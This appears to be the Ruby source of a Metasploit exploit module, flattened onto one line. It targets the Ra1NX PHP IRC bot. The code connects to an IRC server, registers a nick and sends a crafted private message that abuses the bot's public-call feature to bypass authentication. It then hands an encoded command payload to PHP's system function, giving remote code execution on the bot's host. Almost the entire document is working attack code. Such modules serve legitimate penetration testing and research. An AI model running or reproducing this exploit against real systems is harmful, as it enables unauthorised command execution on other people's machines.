## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution', 'Description' => %q{ This module allows remote command execution on the PHP IRC bot Ra1NX by using the public call feature in private message to covertly bypass the authentication system. }, 'Author' => [ 'bwall ' # Ra1NX analysis and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '91663'], ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'], ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'], ['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b'] ], 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 344, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [ ['Ra1NX / Unix', { 'Platform' => 'unix' } ], ['Ra1NX / Windows', { 'Platform' => 'win' } ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 24 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6667), OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']), OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system']) ], self.class) end def connect_irc print_status("#{rhost}:#{rport} - Connecting to IRC server...") connect data = "" begin read_data = sock.get_once(-1, 1) while not read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue EOFError end if data and data =~ /020.*wait/ print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...") select(nil, nil, nil, 3) end end def check connect_irc response = register(sock) if response =~ /463/ or response =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end confirm_string = rand_text_alpha(8) response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n") quit(sock) disconnect if response =~ /#{confirm_string}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while not read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue EOFError end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end if datastore['NICK'].length > 9 nick = rand_text_alpha(9) print_error("The nick is longer than 9 characters, using #{nick}") else nick = datastore['NICK'] end msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" response = send_msg(sock,msg) return response end def ra1nx_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n" response = send_msg(sock, command_msg) return response end def quit(sock) quit_msg = "QUIT :bye bye\r\n" sock.put(quit_msg) end def exploit connect_irc print_status("#{rhost}:#{rport} - Registering with the IRC Server...") response = register(sock) if response =~ /463/ or response =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...") ra1nx_command(sock) quit(sock) disconnect end end